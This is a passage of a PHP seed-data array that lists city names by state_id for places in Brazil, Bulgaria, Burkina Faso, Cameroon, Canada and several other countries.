'neopolis'],\n ['state_id' => '538', 'name' => 'nossa senhora da gloria'],\n ['state_id' => '538', 'name' => 'nossa senhora das dores'],\n ['state_id' => '538', 'name' => 'nossa senhora do socorro'],\n ['state_id' => '538', 'name' => 'pacatuba'],\n ['state_id' => '538', 'name' => 'poco verde'],\n ['state_id' => '538', 'name' => 'porto da folha'],\n ['state_id' => '538', 'name' => 'propria'],\n ['state_id' => '538', 'name' => 'riachao do dantas'],\n ['state_id' => '538', 'name' => 'ribeiropolis'],\n ['state_id' => '538', 'name' => 'salgado'],\n ['state_id' => '538', 'name' => 'santa luzia do itanhy'],\n ['state_id' => '538', 'name' => 'santo amaro das brotas'],\n ['state_id' => '538', 'name' => 'sao cristovao'],\n ['state_id' => '538', 'name' => 'simao dias'],\n ['state_id' => '538', 'name' => 'tobias barreto'],\n ['state_id' => '538', 'name' => 'tomar do geru'],\n ['state_id' => '538', 'name' => 'umbauba'],\n ['state_id' => '539', 'name' => 'alvorada'],\n ['state_id' => '539', 'name' => 'ananas'],\n ['state_id' => '539', 'name' => 'araguacu'],\n ['state_id' => '539', 'name' => 'araguaina'],\n ['state_id' => '539', 'name' => 'araguatins'],\n ['state_id' => '539', 'name' => 'arraias'],\n ['state_id' => '539', 'name' => 'augustinopolis'],\n ['state_id' => '539', 'name' => 'axixa do tocantins'],\n ['state_id' => '539', 'name' => 'colinas do tocantins'],\n ['state_id' => '539', 'name' => 'dianopolis'],\n ['state_id' => '539', 'name' => 'formoso do araguaia'],\n ['state_id' => '539', 'name' => 'goiatins'],\n ['state_id' => '539', 'name' => 'guarai'],\n ['state_id' => '539', 'name' => 'gurupi'],\n ['state_id' => '539', 'name' => 'miracema do tocantins'],\n ['state_id' => '539', 'name' => 'miranorte'],\n ['state_id' => '539', 'name' => 'palmas'],\n ['state_id' => '539', 'name' => 'paraiso'],\n ['state_id' => '539', 'name' => 'parana'],\n ['state_id' => '539', 'name' => 'porto nacional'],\n ['state_id' => '539', 'name' => 'sitio novo do tocantins'],\n ['state_id' => '539', 'name' => 'taguatinga'],\n ['state_id' => '539', 'name' => 'tocantinopolis'],\n ['state_id' => '539', 'name' => 'wanderlandia'],\n ['state_id' => '539', 'name' => 'xambioa'],\n ['state_id' => '541', 'name' => 'kuala belait'],\n ['state_id' => '541', 'name' => 'seria'],\n ['state_id' => '542', 'name' => 'bandar seri begawan'],\n ['state_id' => '543', 'name' => 'bangar'],\n ['state_id' => '544', 'name' => 'tutong'],\n ['state_id' => '545', 'name' => 'bansko'],\n ['state_id' => '545', 'name' => 'belica'],\n ['state_id' => '545', 'name' => 'blagoevgrad'],\n ['state_id' => '545', 'name' => 'goce delchev'],\n ['state_id' => '545', 'name' => 'hadzhidimovo'],\n ['state_id' => '545', 'name' => 'jakoruda'],\n ['state_id' => '545', 'name' => 'kresna'],\n ['state_id' => '545', 'name' => 'melnik'],\n ['state_id' => '545', 'name' => 'petrich'],\n ['state_id' => '545', 'name' => 'razlog'],\n ['state_id' => '545', 'name' => 'sandanski'],\n ['state_id' => '545', 'name' => 'simitli'],\n ['state_id' => '546', 'name' => 'ahtopol'],\n ['state_id' => '546', 'name' => 'ajtos'],\n ['state_id' => '546', 'name' => 'balgarovo'],\n ['state_id' => '546', 'name' => 'bourgas'],\n ['state_id' => '546', 'name' => 'burgas'],\n ['state_id' => '546', 'name' => 'carevo'],\n ['state_id' => '546', 'name' => 'kableshkovo'],\n ['state_id' => '546', 'name' => 'kameno'],\n ['state_id' => '546', 'name' => 'karnobat'],\n ['state_id' => '546', 'name' => 'malko tarnovo'],\n ['state_id' => '546', 'name' => 'nesebar'],\n ['state_id' => '546', 'name' => 'obzor'],\n ['state_id' => '546', 'name' => 'pomorie'],\n ['state_id' => '546', 'name' => 'primorsko'],\n ['state_id' => '546', 'name' => 'sozopol'],\n ['state_id' => '546', 'name' => 'sredec'],\n ['state_id' => '546', 'name' => 'sungurlare'],\n ['state_id' => '546', 'name' => 'tvardica'],\n ['state_id' => '547', 'name' => 'balchik'],\n ['state_id' => '547', 'name' => 'dobrich'],\n ['state_id' => '547', 'name' => 'general-toshevo'],\n ['state_id' => '547', 'name' => 'kavarna'],\n ['state_id' => '547', 'name' => 'loznica'],\n ['state_id' => '547', 'name' => 'shabla'],\n ['state_id' => '547', 'name' => 'tervel'],\n ['state_id' => '548', 'name' => 'drjanovo'],\n ['state_id' => '548', 'name' => 'gabrovo'],\n ['state_id' => '548', 'name' => 'plachkovci'],\n ['state_id' => '548', 'name' => 'sevlievo'],\n ['state_id' => '548', 'name' => 'trjavna'],\n ['state_id' => '549', 'name' => 'dimitrovgrad'],\n ['state_id' => '549', 'name' => 'harmanli'],\n ['state_id' => '549', 'name' => 'haskovo'],\n ['state_id' => '549', 'name' => 'ivajlovgrad'],\n ['state_id' => '549', 'name' => 'ljubimec'],\n ['state_id' => '549', 'name' => 'madzharovo'],\n ['state_id' => '549', 'name' => 'merichleri'],\n ['state_id' => '549', 'name' => 'simeonovgrad'],\n ['state_id' => '549', 'name' => 'svilengrad'],\n ['state_id' => '550', 'name' => 'boljarovo'],\n ['state_id' => '550', 'name' => 'elhovo'],\n ['state_id' => '550', 'name' => 'jambol'],\n ['state_id' => '550', 'name' => 'straldzha'],\n ['state_id' => '550', 'name' => 'topolovgrad'],\n ['state_id' => '551', 'name' => 'ardino'],\n ['state_id' => '551', 'name' => 'dzhebel'],\n ['state_id' => '551', 'name' => 'kardzhali'],\n ['state_id' => '551', 'name' => 'krumovgrad'],\n ['state_id' => '551', 'name' => 'momchilgrad'],\n ['state_id' => '552', 'name' => 'boboshevo'],\n ['state_id' => '552', 'name' => 'bobovdol'],\n ['state_id' => '552', 'name' => 'dupnica'],\n ['state_id' => '552', 'name' => 'kjustendil'],\n ['state_id' => '552', 'name' => 'kocherinovo'],\n ['state_id' => '552', 'name' => 'rila'],\n ['state_id' => '552', 'name' => 'sapareva banja'],\n ['state_id' => '552', 'name' => 'zemen'],\n ['state_id' => '553', 'name' => 'aprilci'],\n ['state_id' => '553', 'name' => 'jablanica'],\n ['state_id' => '553', 'name' => 'letnica'],\n ['state_id' => '553', 'name' => 'lovech'],\n ['state_id' => '553', 'name' => 'lukovit'],\n ['state_id' => '553', 'name' => 'sopot'],\n ['state_id' => '553', 'name' => 'teteven'],\n ['state_id' => '553', 'name' => 'trojan'],\n ['state_id' => '553', 'name' => 'ugarchin'],\n ['state_id' => '554', 'name' => 'berkovica'],\n ['state_id' => '554', 'name' => 'bojchinovci'],\n ['state_id' => '554', 'name' => 'brusarci'],\n ['state_id' => '554', 'name' => 'chiprovci'],\n ['state_id' => '554', 'name' => 'lom'],\n ['state_id' => '554', 'name' => 'montana'],\n ['state_id' => '554', 'name' => 'valchedram'],\n ['state_id' => '554', 'name' => 'varshec'],\n ['state_id' => '556', 'name' => 'batak'],\n ['state_id' => '556', 'name' => 'belovo'],\n ['state_id' => '556', 'name' => 'bracigovo'],\n ['state_id' => '556', 'name' => 'koprivshtica'],\n ['state_id' => '556', 'name' => 'panagjurishte'],\n ['state_id' => '556', 'name' => 'pazardzhik'],\n ['state_id' => '556', 'name' => 'peshtera'],\n ['state_id' => '556', 'name' => 'rakitovo'],\n ['state_id' => '556', 'name' => 'septemvri'],\n ['state_id' => '556', 'name' => 'strelcha'],\n ['state_id' => '556', 'name' => 'velingrad'],\n ['state_id' => '557', 'name' => 'bankja'],\n ['state_id' => '557', 'name' => 'batanovci'],\n ['state_id' => '557', 'name' => 'breznik'],\n ['state_id' => '557', 'name' => 'pernik'],\n ['state_id' => '557', 'name' => 'radomir'],\n ['state_id' => '557', 'name' => 'tran'],\n ['state_id' => '558', 'name' => 'belene'],\n ['state_id' => '558', 'name' => 'cherven brjag'],\n ['state_id' => '558', 'name' => 'dolna mitropolija'],\n ['state_id' => '558', 'name' => 'dolni dabnik'],\n ['state_id' => '558', 'name' => 'guljanci'],\n ['state_id' => '558', 'name' => 'levski'],\n ['state_id' => '558', 'name' => 'nikopol'],\n ['state_id' => '558', 'name' => 'pleven'],\n ['state_id' => '558', 'name' => 'pordim'],\n ['state_id' => '558', 'name' => 'slavjanovo'],\n ['state_id' => '558', 'name' => 'trashtenik'],\n ['state_id' => '558', 'name' => 'varbica'],\n ['state_id' => '559', 'name' => 'asenovgrad'],\n ['state_id' => '559', 'name' => 'brezovo'],\n ['state_id' => '559', 'name' => 'car kalojan'],\n ['state_id' => '559', 'name' => 'hisarja'],\n ['state_id' => '559', 'name' => 'kalofer'],\n ['state_id' => '559', 'name' => 'karlovo'],\n ['state_id' => '559', 'name' => 'klisura'],\n ['state_id' => '559', 'name' => 'krichim'],\n ['state_id' => '559', 'name' => 'parvomaj'],\n ['state_id' => '559', 'name' => 'perushtica'],\n ['state_id' => '559', 'name' => 'plovdiv'],\n ['state_id' => '559', 'name' => 'rakovski'],\n ['state_id' => '559', 'name' => 'sadovo'],\n ['state_id' => '559', 'name' => 'saedinenie'],\n ['state_id' => '559', 'name' => 'stambolijski'],\n ['state_id' => '560', 'name' => 'isperih'],\n ['state_id' => '560', 'name' => 'kubrat'],\n ['state_id' => '560', 'name' => 'razgrad'],\n ['state_id' => '560', 'name' => 'senovo'],\n ['state_id' => '560', 'name' => 'zavet'],\n ['state_id' => '561', 'name' => 'bjala'],\n ['state_id' => '561', 'name' => 'borovo'],\n ['state_id' => '561', 'name' => 'dve mogili'],\n ['state_id' => '561', 'name' => 'ruse'],\n ['state_id' => '561', 'name' => 'russe'],\n ['state_id' => '561', 'name' => 'vetovo'],\n ['state_id' => '562', 'name' => 'kaolinovo'],\n ['state_id' => '562', 'name' => 'kaspichan'],\n ['state_id' => '562', 'name' => 'novi pazar'],\n ['state_id' => '562', 'name' => 'pliska'],\n ['state_id' => '562', 'name' => 'shumen'],\n ['state_id' => '562', 'name' => 'smjadovo'],\n ['state_id' => '562', 'name' => 'veliki preslav'],\n ['state_id' => '563', 'name' => 'alfatar'],\n ['state_id' => '563', 'name' => 'dulovo'],\n ['state_id' => '563', 'name' => 'glavinica'],\n ['state_id' => '563', 'name' => 'silistra'],\n ['state_id' => '563', 'name' => 'tutrakan'],\n ['state_id' => '564', 'name' => 'kermen'],\n ['state_id' => '564', 'name' => 'kotel'],\n ['state_id' => '564', 'name' => 'nova zagora'],\n ['state_id' => '564', 'name' => 'shivachevo'],\n ['state_id' => '564', 'name' => 'sliven'],\n ['state_id' => '565', 'name' => 'chepelare'],\n ['state_id' => '565', 'name' => 'devin'],\n ['state_id' => '565', 'name' => 'dospat'],\n ['state_id' => '565', 'name' => 'laki'],\n ['state_id' => '565', 'name' => 'madan'],\n ['state_id' => '565', 'name' => 'nedelino'],\n ['state_id' => '565', 'name' => 'rudozem'],\n ['state_id' => '565', 'name' => 'smoljan'],\n ['state_id' => '565', 'name' => 'zlatograd'],\n ['state_id' => '569', 'name' => 'antonovo'],\n ['state_id' => '569', 'name' => 'omurtag'],\n ['state_id' => '569', 'name' => 'opaka'],\n ['state_id' => '569', 'name' => 'popovo'],\n ['state_id' => '569', 'name' => 'targovishte'],\n ['state_id' => '570', 'name' => 'beloslav'],\n ['state_id' => '570', 'name' => 'bjala'],\n ['state_id' => '570', 'name' => 'dalgopol'],\n ['state_id' => '570', 'name' => 'devnja'],\n ['state_id' => '570', 'name' => 'iskar'],\n ['state_id' => '570', 'name' => 'provadija'],\n ['state_id' => '570', 'name' => 'suvorovo'],\n ['state_id' => '570', 'name' => 'valchi dol'],\n ['state_id' => '570', 'name' => 'varna'],\n ['state_id' => '572', 'name' => 'belogradchik'],\n ['state_id' => '572', 'name' => 'bregovo'],\n ['state_id' => '572', 'name' => 'dimovo'],\n ['state_id' => '572', 'name' => 'dolni chiflik'],\n ['state_id' => '572', 'name' => 'dunavci'],\n ['state_id' => '572', 'name' => 'gramada'],\n ['state_id' => '572', 'name' => 'kula'],\n ['state_id' => '572', 'name' => 'vidin'],\n ['state_id' => '573', 'name' => 'bjala slatina'],\n ['state_id' => '573', 'name' => 'knezha'],\n ['state_id' => '573', 'name' => 'kojnare'],\n ['state_id' => '573', 'name' => 'kozloduj'],\n ['state_id' => '573', 'name' => 'krivodol'],\n ['state_id' => '573', 'name' => 'mezdra'],\n ['state_id' => '573', 'name' => 'mizija'],\n ['state_id' => '573', 'name' => 'orjahovo'],\n ['state_id' => '573', 'name' => 'roman'],\n ['state_id' => '573', 'name' => 'vraca'],\n ['state_id' => '574', 'name' => 'yablaniza'],\n ['state_id' => '575', 'name' => 'boromo'],\n ['state_id' => '576', 'name' => 'kongoussi'],\n ['state_id' => '577', 'name' => 'kombissiri'],\n ['state_id' => '578', 'name' => 'diebougou'],\n ['state_id' => '578', 'name' => 'pa'],\n ['state_id' => '579', 'name' => 'garango'],\n ['state_id' => '579', 'name' => 'tenkodogo'],\n ['state_id' => '580', 'name' => 'koudougou'],\n ['state_id' => '581', 'name' => 'banfora'],\n ['state_id' => '582', 'name' => 'zorgo'],\n ['state_id' => '583', 'name' => 'bogande'],\n ['state_id' => '584', 'name' => 'fada n\\'gourma'],\n ['state_id' => '585', 'name' => 'bekuy'],\n ['state_id' => '585', 'name' => 'bobo dioulasso'],\n ['state_id' => '586', 'name' => 'dano'],\n ['state_id' => '587', 'name' => 'ouagadougou'],\n ['state_id' => '588', 'name' => 'koalla'],\n ['state_id' => '588', 'name' => 'koloko'],\n ['state_id' => '588', 'name' => 'orodara'],\n ['state_id' => '589', 'name' => 'gayeri'],\n ['state_id' => '590', 'name' => 'pama'],\n ['state_id' => '591', 'name' => 'nouna'],\n ['state_id' => '592', 'name' => 'koupela'],\n ['state_id' => '593', 'name' => 'bousse'],\n ['state_id' => '594', 'name' => 'sindou'],\n ['state_id' => '595', 'name' => 'dedougou'],\n ['state_id' => '596', 'name' => 'po'],\n ['state_id' => '597', 'name' => 'boulsa'],\n ['state_id' => '598', 'name' => 'batie'],\n ['state_id' => '599', 'name' => 'ziniare'],\n ['state_id' => '600', 'name' => 'gorom-gorom'],\n ['state_id' => '601', 'name' => 'yako'],\n ['state_id' => '602', 'name' => 'gaoua'],\n ['state_id' => '602', 'name' => 'kampti'],\n ['state_id' => '602', 'name' => 'loropeni'],\n ['state_id' => '603', 'name' => 'reo'],\n ['state_id' => '604', 'name' => 'kaya'],\n ['state_id' => '605', 'name' => 'dori'],\n ['state_id' => '606', 'name' => 'gao'],\n ['state_id' => '606', 'name' => 'leo'],\n ['state_id' => '607', 'name' => 'aribinda'],\n ['state_id' => '607', 'name' => 'djibo'],\n ['state_id' => '608', 'name' => 'louta'],\n ['state_id' => '608', 'name' => 'tougan'],\n ['state_id' => '609', 'name' => 'diapaga'],\n ['state_id' => '609', 'name' => 'kantchari'],\n ['state_id' => '610', 'name' => 'hounde'],\n ['state_id' => '611', 'name' => 'ouahigouya'],\n ['state_id' => '612', 'name' => 'gourcy'],\n ['state_id' => '613', 'name' => 'manga'],\n ['state_id' => '614', 'name' => 'bubanza'],\n ['state_id' => '615', 'name' => 'bujumbura'],\n ['state_id' => '616', 'name' => 'bururi'],\n ['state_id' => '617', 'name' => 'cankuzo'],\n ['state_id' => '618', 'name' => 'cibitoke'],\n ['state_id' => '619', 'name' => 'gitega'],\n ['state_id' => '620', 'name' => 'karuzi'],\n ['state_id' => '621', 'name' => 'kayanza'],\n ['state_id' => '622', 'name' => 'kirundo'],\n ['state_id' => '623', 'name' => 'makamba'],\n ['state_id' => '624', 'name' => 'muramvya'],\n ['state_id' => '625', 'name' => 'muyinga'],\n ['state_id' => '626', 'name' => 'ngozi'],\n ['state_id' => '627', 'name' => 'rutana'],\n ['state_id' => '628', 'name' => 'ruyigi'],\n ['state_id' => '635', 'name' => 'kampot'],\n ['state_id' => '636', 'name' => 'ta khmau'],\n ['state_id' => '638', 'name' => 'kracheh'],\n ['state_id' => '645', 'name' => 'pousat'],\n ['state_id' => '652', 'name' => 'phumi takaev'],\n ['state_id' => '653', 'name' => 'banyo'],\n ['state_id' => '653', 'name' => 'meiganga'],\n ['state_id' => '653', 'name' => 'ngaoundere'],\n ['state_id' => '653', 'name' => 'tibati'],\n ['state_id' => '653', 'name' => 'tignere'],\n ['state_id' => '654', 'name' => 'akonolinga'],\n ['state_id' => '654', 'name' => 'bafia'],\n ['state_id' => '654', 'name' => 'eseka'],\n ['state_id' => '654', 'name' => 'mbalmayo'],\n ['state_id' => '654', 'name' => 'mfou'],\n ['state_id' => '654', 'name' => 'monatele'],\n ['state_id' => '654', 'name' => 'nanga eboko'],\n ['state_id' => '654', 'name' => 'obala'],\n ['state_id' => '654', 'name' => 'ombesa'],\n ['state_id' => '654', 'name' => 'saa'],\n ['state_id' => '654', 'name' => 'yaounde'],\n ['state_id' => '655', 'name' => 'abong mbang'],\n ['state_id' => '655', 'name' => 'batouri'],\n ['state_id' => '655', 'name' => 'bertoua'],\n ['state_id' => '655', 'name' => 'betare oya'],\n ['state_id' => '655', 'name' => 'djoum'],\n ['state_id' => '655', 'name' => 'doume'],\n ['state_id' => '655', 'name' => 'lomie'],\n ['state_id' => '655', 'name' => 'yokadouma'],\n ['state_id' => '656', 'name' => 'bonaberi'],\n ['state_id' => '656', 'name' => 'dibombari'],\n ['state_id' => '656', 'name' => 'douala'],\n ['state_id' => '656', 'name' => 'edea'],\n ['state_id' => '656', 'name' => 'loum'],\n ['state_id' => '656', 'name' => 'manjo'],\n ['state_id' => '656', 'name' => 'mbanga'],\n ['state_id' => '656', 'name' => 'nkongsamba'],\n ['state_id' => '656', 'name' => 'yabassi'],\n ['state_id' => '657', 'name' => 'figuif'],\n ['state_id' => '657', 'name' => 'garoua'],\n ['state_id' => '657', 'name' => 'guider'],\n ['state_id' => '657', 'name' => 'lagdo'],\n ['state_id' => '657', 'name' => 'poli'],\n ['state_id' => '657', 'name' => 'rey bouba'],\n ['state_id' => '657', 'name' => 'tchollire'],\n ['state_id' => '658', 'name' => 'figuif'],\n ['state_id' => '658', 'name' => 'garoua'],\n ['state_id' => '658', 'name' => 'guider'],\n ['state_id' => '658', 'name' => 'lagdo'],\n ['state_id' => '658', 'name' => 'poli'],\n ['state_id' => '658', 'name' => 'rey bouba'],\n ['state_id' => '658', 'name' => 'tchollire'],\n ['state_id' => '659', 'name' => 'bamenda'],\n ['state_id' => '659', 'name' => 'kumbo'],\n ['state_id' => '659', 'name' => 'mbengwi'],\n ['state_id' => '659', 'name' => 'mme'],\n ['state_id' => '659', 'name' => 'njinikom'],\n ['state_id' => '659', 'name' => 'nkambe'],\n ['state_id' => '659', 'name' => 'wum'],\n ['state_id' => '660', 'name' => 'bafang'],\n ['state_id' => '660', 'name' => 'bafoussam'],\n ['state_id' => '660', 'name' => 'bafut'],\n ['state_id' => '660', 'name' => 'bali'],\n ['state_id' => '660', 'name' => 'bana'],\n ['state_id' => '660', 'name' => 'bangangte'],\n ['state_id' => '660', 'name' => 'djang'],\n ['state_id' => '660', 'name' => 'fontem'],\n ['state_id' => '660', 'name' => 'foumban'],\n ['state_id' => '660', 'name' => 'foumbot'],\n ['state_id' => '660', 'name' => 'mbouda'],\n ['state_id' => '661', 'name' => 'akom'],\n ['state_id' => '661', 'name' => 'ambam'],\n ['state_id' => '661', 'name' => 'ebolowa'],\n ['state_id' => '661', 'name' => 'kribi'],\n ['state_id' => '661', 'name' => 'lolodorf'],\n ['state_id' => '661', 'name' => 'moloundou'],\n ['state_id' => '661', 'name' => 'mvangue'],\n ['state_id' => '661', 'name' => 'sangmelima'],\n ['state_id' => '662', 'name' => 'buea'],\n ['state_id' => '662', 'name' => 'idenao'],\n ['state_id' => '662', 'name' => 'kumba'],\n ['state_id' => '662', 'name' => 'limbe'],\n ['state_id' => '662', 'name' => 'mamfe'],\n ['state_id' => '662', 'name' => 'muyuka'],\n ['state_id' => '662', 'name' => 'tiko'],\n ['state_id' => '663', 'name' => 'airdrie'],\n ['state_id' => '663', 'name' => 'athabasca'],\n ['state_id' => '663', 'name' => 'banff'],\n ['state_id' => '663', 'name' => 'barrhead'],\n ['state_id' => '663', 'name' => 'bassano'],\n ['state_id' => '663', 'name' => 'beaumont'],\n ['state_id' => '663', 'name' => 'beaverlodge'],\n ['state_id' => '663', 'name' => 'black diamond'],\n ['state_id' => '663', 'name' => 'blackfalds'],\n ['state_id' => '663', 'name' => 'blairmore'],\n ['state_id' => '663', 'name' => 'bon accord'],\n ['state_id' => '663', 'name' => 'bonnyville'],\n ['state_id' => '663', 'name' => 'bow island'],\n ['state_id' => '663', 'name' => 'brooks'],\n ['state_id' => '663', 'name' => 'calgary'],\n ['state_id' => '663', 'name' => 'calmar'],\n ['state_id' => '663', 'name' => 'camrose'],\n ['state_id' => '663', 'name' => 'canmore'],\n ['state_id' => '663', 'name' => 'cardston'],\n ['state_id' => '663', 'name' => 'carstairs'],\n ['state_id' => '663', 'name' => 'chateau lake louise'],\n ['state_id' => '663', 'name' => 'chestermere'],\n ['state_id' => '663', 'name' => 'clairmont'],\n ['state_id' => '663', 'name' => 'claresholm'],\n ['state_id' => '663', 'name' => 'coaldale'],\n ['state_id' => '663', 'name' => 'coalhurst'],\n ['state_id' => '663', 'name' => 'cochrane'],\n ['state_id' => '663', 'name' => 'crossfield'],\n ['state_id' => '663', 'name' => 'devon'],\n ['state_id' => '663', 'name' => 'didsbury'],\n ['state_id' => '663', 'name' => 'drayton valley'],\n ['state_id' => '663', 'name' => 'drumheller'],\n ['state_id' => '663', 'name' => 'edmonton'],\n ['state_id' => '663', 'name' => 'edson'],\n ['state_id' => '663', 'name' => 'elk point'],\n ['state_id' => '663', 'name' => 'fairview'],\n ['state_id' => '663', 'name' => 'falher'],\n ['state_id' => '663', 'name' => 'fort macleod'],\n ['state_id' => '663', 'name' => 'fox creek'],\n ['state_id' => '663', 'name' => 'gibbons'],\n ['state_id' => '663', 'name' => 'grand centre'],\n ['state_id' => '663', 'name' => 'grande cache'],\n ['state_id' => '663', 'name' => 'grande prairie'],\n ['state_id' => '663', 'name' => 'grimshaw'],\n ['state_id' => '663', 'name' => 'hanna'],\n ['state_id' => '663', 'name' => 'high level'],\n ['state_id' => '663', 'name' => 'high prairie'],\n ['state_id' => '663', 'name' => 'high river'],\n ['state_id' => '663', 'name' => 'hinton'],\n ['state_id' => '663', 'name' => 'irricana'],\n ['state_id' => '663', 'name' => 'jasper'],\n ['state_id' => '663', 'name' => 'killam'],\n ['state_id' => '663', 'name' => 'la crete'],\n ['state_id' => '663', 'name' => 'lac la biche'],\n ['state_id' => '663', 'name' => 'lacombe'],\n ['state_id' => '663', 'name' => 'lamont'],\n ['state_id' => '663', 'name' => 'leduc'],\n ['state_id' => '663', 'name' => 'lethbridge'],\n ['state_id' => '663', 'name' => 'lloydminster'],\n ['state_id' => '663', 'name' => 'magrath'],\n ['state_id' => '663', 'name' => 'manning'],\n ['state_id' => '663', 'name' => 'mayerthorpe'],\n ['state_id' => '663', 'name' => 'mcmurray'],\n ['state_id' => '663', 'name' => 'medicine hat'],\n ['state_id' => '663', 'name' => 'millet'],\n ['state_id' => '663', 'name' => 'morinville'],\n ['state_id' => '663', 'name' => 'nanton'],\n ['state_id' => '663', 'name' => 'okotoks'],\n ['state_id' => '663', 'name' => 'olds'],\n ['state_id' => '663', 'name' => 'peace river'],\n ['state_id' => '663', 'name' => 'penhold'],\n ['state_id' => '663', 'name' => 'picture butte'],\n ['state_id' => '663', 'name' => 'pincher creek'],\n ['state_id' => '663', 'name' => 'ponoka'],\n ['state_id' => '663', 'name' => 'provost'],\n ['state_id' => '663', 'name' => 'raymond'],\n ['state_id' => '663', 'name' => 'red deer'],\n ['state_id' => '663', 'name' => 'redwater'],\n ['state_id' => '663', 'name' => 'rimbey'],\n ['state_id' => '663', 'name' => 'rocky mountain house'],\n ['state_id' => '663', 'name' => 'rocky view'],\n ['state_id' => '663', 'name' => 'saint paul'],\n ['state_id' => '663', 'name' => 'sexsmith'],\n ['state_id' => '663', 'name' => 'sherwood park'],\n ['state_id' => '663', 'name' => 'slave lake'],\n ['state_id' => '663', 'name' => 'smoky lake'],\n ['state_id' => '663', 'name' => 'spirit river'],\n ['state_id' => '663', 'name' => 'spruce grove'],\n ['state_id' => '663', 'name' => 'stettler'],\n ['state_id' => '663', 'name' => 'stony plain'],\n ['state_id' => '663', 'name' => 'strathmore'],\n ['state_id' => '663', 'name' => 'sundre'],\n ['state_id' => '663', 'name' => 'swan hills'],\n ['state_id' => '663', 'name' => 'sylvan lake'],\n ['state_id' => '663', 'name' => 'taber'],\n ['state_id' => '663', 'name' => 'three hills'],\n ['state_id' => '663', 'name' => 'tofield'],\n ['state_id' => '663', 'name' => 'two hills'],\n ['state_id' => '663', 'name' => 'valleyview'],\n ['state_id' => '663', 'name' => 'vegreville'],\n ['state_id' => '663', 'name' => 'vermilion'],\n ['state_id' => '663', 'name' => 'viking'],\n ['state_id' => '663', 'name' => 'vulcan'],\n ['state_id' => '663', 'name' => 'wainwright'],\n ['state_id' => '663', 'name' => 'wembley'],\n ['state_id' => '663', 'name' => 'westlock'],\n ['state_id' => '663', 'name' => 'wetaskiwin'],\n ['state_id' => '663', 'name' => 'whitecourt'],\n ['state_id' => '663', 'name' => 'wood buffalo'],\n ['state_id' => '665', 'name' => 'altona'],\n ['state_id' => '665', 'name' => 'beausejour'],\n ['state_id' => '665', 'name' => 'boissevain'],\n ['state_id' => '665', 'name' => 'brandon'],\n ['state_id' => '665', 'name' => 'carberry'],\n ['state_id' => '665', 'name' => 'carman'],\n ['state_id' => '665', 'name' => 'dauphin'],\n ['state_id' => '665', 'name' => 'deloraine'],\n ['state_id' => '665', 'name' => 'dugald'],\n ['state_id' => '665', 'name' => 'flin flon'],\n ['state_id' => '665', 'name' => 'gimli'],\n ['state_id' => '665', 'name' => 'hamiota'],\n ['state_id' => '665', 'name' => 'killarney'],\n ['state_id' => '665', 'name' => 'lac du bonnet'],\n ['state_id' => '665', 'name' => 'leaf rapids'],\n ['state_id' => '665', 'name' => 'lorette'],\n ['state_id' => '665', 'name' => 'melita'],\n ['state_id' => '665', 'name' => 'minnedosa'],\n ['state_id' => '665', 'name' => 'morden'],\n ['state_id' => '665', 'name' => 'morris'],\n ['state_id' => '665', 'name' => 'neepawa'],\n ['state_id' => '665', 'name' => 'niverville'],\n ['state_id' => '665', 'name' => 'pinawa'],\n ['state_id' => '665', 'name' => 'portage la prairie'],\n ['state_id' => '665', 'name' => 'ritchot'],\n ['state_id' => '665', 'name' => 'rivers'],\n ['state_id' => '665', 'name' => 'roblin'],\n ['state_id' => '665', 'name' => 'saint adolphe'],\n ['state_id' => '665', 'name' => 'sainte anne'],\n ['state_id' => '665', 'name' => 'sainte rose du lac'],\n ['state_id' => '665', 'name' => 'selkirk'],\n ['state_id' => '665', 'name' => 'shilo'],\n ['state_id' => '665', 'name' => 'snow lake'],\n ['state_id' => '665', 'name' => 'souris'],\n ['state_id' => '665', 'name' => 'springfield'],\n ['state_id' => '665', 'name' => 'steinbach'],\n ['state_id' => '665', 'name' => 'stonewall'],\n ['state_id' => '665', 'name' => 'stony mountain'],\n ['state_id' => '665', 'name' => 'swan river'],\n ['state_id' => '665', 'name' => 'the pas'],\n ['state_id' => '665', 'name' => 'thompson'],\n ['state_id' => '665', 'name' => 'virden'],\n ['state_id' => '665', 'name' => 'winkler'],\n ['state_id' => '665', 'name' => 'winnipeg'],\n ['state_id' => '670', 'name' => 'clyde river'],\n ['state_id' => '670', 'name' => 'iqaluit'],\n ['state_id' => '670', 'name' => 'kangerdlinerk'],\n ['state_id' => '670', 'name' => 'oqsuqtooq'],\n ['state_id' => '670', 'name' => 'pangnirtung'],\n ['state_id' => '670', 'name' => 'tununirusiq'],\n ['state_id' => '671', 'name' => 'acton'],\n ['state_id' => '671', 'name' => 'ajax'],\n ['state_id' => '671', 'name' => 'alexandria'],\n ['state_id' => '671', 'name' => 'alfred'],\n ['state_id' => '671', 'name' => 'alliston'],\n ['state_id' => '671', 'name' => 'almonte'],\n ['state_id' => '671', 'name' => 'amherstburg'],\n ['state_id' => '671', 'name' => 'amigo beach'],\n ['state_id' => '671', 'name' => 'angus-borden'],\n ['state_id' => '671', 'name' => 'arnprior'],\n ['state_id' => '671', 'name' => 'arthur'],\n ['state_id' => '671', 'name' => 'athens'],\n ['state_id' => '671', 'name' => 'atikokan'],\n ['state_id' => '671', 'name' => 'attawapiskat'],\n ['state_id' => '671', 'name' => 'aurora'],\n ['state_id' => '671', 'name' => 'aylmer'],\n ['state_id' => '671', 'name' => 'ayr'],\n ['state_id' => '671', 'name' => 'barrie'],\n ['state_id' => '671', 'name' => 'barry\\'s bay'],\n ['state_id' => '671', 'name' => 'beamsville'],\n ['state_id' => '671', 'name' => 'beaverton'],\n ['state_id' => '671', 'name' => 'beeton'],\n ['state_id' => '671', 'name' => 'belleville'],\n ['state_id' => '671', 'name' => 'belmont'],\n ['state_id' => '671', 'name' => 'blenheim'],\n ['state_id' => '671', 'name' => 'blind river'],\n ['state_id' => '671', 'name' => 'bobcaygeon'],\n ['state_id' => '671', 'name' => 'bolton'],\n ['state_id' => '671', 'name' => 'bourget'],\n ['state_id' => '671', 'name' => 'bowmanville-newcastle'],\n ['state_id' => '671', 'name' => 'bracebridge'],\n ['state_id' => '671', 'name' => 'bradford'],\n ['state_id' => '671', 'name' => 'brampton'],\n ['state_id' => '671', 'name' => 'brantford'],\n ['state_id' => '671', 'name' => 'bridgenorth-chemong park area'],\n ['state_id' => '671', 'name' => 'brighton'],\n ['state_id' => '671', 'name' => 'brockville'],\n ['state_id' => '671', 'name' => 'brooklin'],\n ['state_id' => '671', 'name' => 'brussels'],\n ['state_id' => '671', 'name' => 'burford'],\n ['state_id' => '671', 'name' => 'burlington'],\n ['state_id' => '671', 'name' => 'caledon'],\n ['state_id' => '671', 'name' => 'caledon east'],\n ['state_id' => '671', 